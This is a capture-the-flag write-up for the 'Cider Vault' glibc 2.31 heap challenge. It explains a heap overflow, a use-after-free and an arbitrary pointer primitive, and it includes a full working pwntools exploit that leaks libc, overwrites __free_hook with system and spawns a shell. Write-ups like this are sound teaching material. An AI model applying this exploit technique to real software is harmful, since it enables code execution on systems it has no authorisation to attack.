Cider Vault - PWN
Points: 500 | Flag: BITSCTF{6314bbda7a07502f13d13bfbbc2cae05} | Solved by: Smothy @ 0xN1umb

what we got
Heap menu challenge running glibc 2.31 with all protections on - Full RELRO, PIE, Canary, NX, FORTIFY. They gave us the binary, libc, and ld-linux. Classic setup.
$ checksec cider_vault
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
Menu has 8 options - the important ones:
- open page - malloc a chunk (size 0x80-0x520), stores ptr+size in a global
vatsarray (12 slots) - paint page - write data to a chunk
- peek page - read data from a chunk
- tear page - free a chunk
- stitch pages - realloc + merge two chunks
- whisper path - XORs your input with a hardcoded key
0x51f0d1ce6e5b7a91and stores it as the chunk pointer - moon bell - calls
_IO_wfile_overflow(stderr, 'X')(didn't need this lol)
the bugs
found 3 bugs just from the disassembly, didn't even need IDA:
1. heap overflow in paint/peek - the size check does ink_bytes <= size + 0x80 but only size bytes were allocated. so you get 0x80 bytes of overflow on both read and write. classic off-by-one on steroids
mov rax, [rbx+0x8] ; rax = allocated size
sub rax, 0xffffffffffffff80 ; rax = size + 0x80 (sneaky add)
cmp r13, rax ; if ink_bytes > size + 0x80
ja error2. UAF in tear - free() is called but the pointer in the vats array is never NULLed out. so we can still peek/paint freed chunks
3. arbitrary pointer via whisper - option 6 lets you set ANY address as the chunk pointer. it XORs your input with a known key and stores it. since we know the key, we can point any slot at any address we want
ngl the whisper path is basically a "write-anywhere" primitive once you have a libc leak. too easy fr
the solve
glibc 2.31 still has __free_hook so the attack plan is braindead simple:
- leak libc via unsortedbin UAF
- whisper
__free_hookaddress into a slot - paint
systemover__free_hook - free a chunk containing "/bin/sh" →
system("/bin/sh")
step 1 - libc leak
allocate a chunk big enough to go into unsortedbin on free (>0x410), plus a guard chunk so it doesn't consolidate with top:
open_page(0, 0x420) # unsortedbin size
open_page(1, 0x80) # guard chunk
tear_page(0) # free -> unsortedbin, fd/bk = main_arena+96since tear doesn't clear the pointer, we just peek the freed chunk to read the unsortedbin fd:
leak = peek_page(0, 8)
unsorted_leak = u64(leak) # main_arena + 96
libc_base = unsorted_leak - 96 - (libc.symbols['__malloc_hook'] + 0x10)step 2 - overwrite __free_hook
use whisper to point slot 1 at __free_hook, then paint system into it:
whisper_path(1, free_hook) # slot 1 now points at __free_hook
paint_page(1, 8, p64(system_addr)) # write system() address therethe whisper math is just: input = target_addr ^ 0x51f0d1ce6e5b7a91
step 3 - trigger
open_page(2, 0x80)
paint_page(2, 8, b'/bin/sh\x00')
# free it -> __free_hook(ptr) -> system("/bin/sh")
p.sendline(b'4') # tear
p.sendline(b'2') # page idshell pops, cat the flag, gg
[+] libc base: 0x7fdb3f86b000
[+] FLAG: BITSCTF{6314bbda7a07502f13d13bfbbc2cae05}
full exploit
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
elf = ELF('./cider_vault')
libc = ELF('./libc.so.6')
XOR_KEY = 0x51f0d1ce6e5b7a91
p = remote('chals.bitskrieg.in', 32566)
def menu():
p.recvuntil(b'> ')
def open_page(idx, size):
p.sendline(b'1')
p.recvuntil(b'page id:')
p.sendline(str(idx).encode())
p.recvuntil(b'page size:')
p.sendline(str(size).encode())
menu()
def paint_page(idx, nbytes, data):
p.sendline(b'2')
p.recvuntil(b'page id:')
p.sendline(str(idx).encode())
p.recvuntil(b'ink bytes:')
p.sendline(str(nbytes).encode())
p.recvuntil(b'ink:')
p.recvline()
p.send(data)
menu()
def peek_page(idx, nbytes):
p.sendline(b'3')
p.recvuntil(b'page id:')
p.sendline(str(idx).encode())
p.recvuntil(b'peek bytes:')
p.recvline()
p.sendline(str(nbytes).encode())
data = p.recvn(nbytes)
menu()
return data
def tear_page(idx):
p.sendline(b'4')
p.recvuntil(b'page id:')
p.sendline(str(idx).encode())
menu()
def whisper_path(idx, target_addr):
value = target_addr ^ XOR_KEY
if value >= (1 << 63):
value = value - (1 << 64)
p.sendline(b'6')
p.recvuntil(b'page id:')
p.sendline(str(idx).encode())
p.recvuntil(b'star token:')
p.sendline(str(value).encode())
menu()
menu()
# leak libc via unsortedbin UAF
open_page(0, 0x420)
open_page(1, 0x80)
tear_page(0)
leak = u64(peek_page(0, 8))
libc_base = leak - 96 - (libc.symbols['__malloc_hook'] + 0x10)
system_addr = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
# overwrite __free_hook with system
whisper_path(1, free_hook)
paint_page(1, 8, p64(system_addr))
# trigger system("/bin/sh")
open_page(2, 0x80)
paint_page(2, 8, b'/bin/sh\x00')
p.sendline(b'4')
p.recvuntil(b'page id:')
p.recvline()
p.sendline(b'2')
sleep(0.5)
p.clean(timeout=0.5)
p.sendline(b'cat /app/flag.txt')
print(p.recvline(timeout=5))flag
BITSCTF{6314bbda7a07502f13d13bfbbc2cae05}
500 points for a glibc 2.31 challenge with __free_hook still available and a literal "set any pointer you want" primitive? lowkey felt like a gift lmao. the hardest part was debugging the recv buffering in pwntools ngl
smothy out ✌️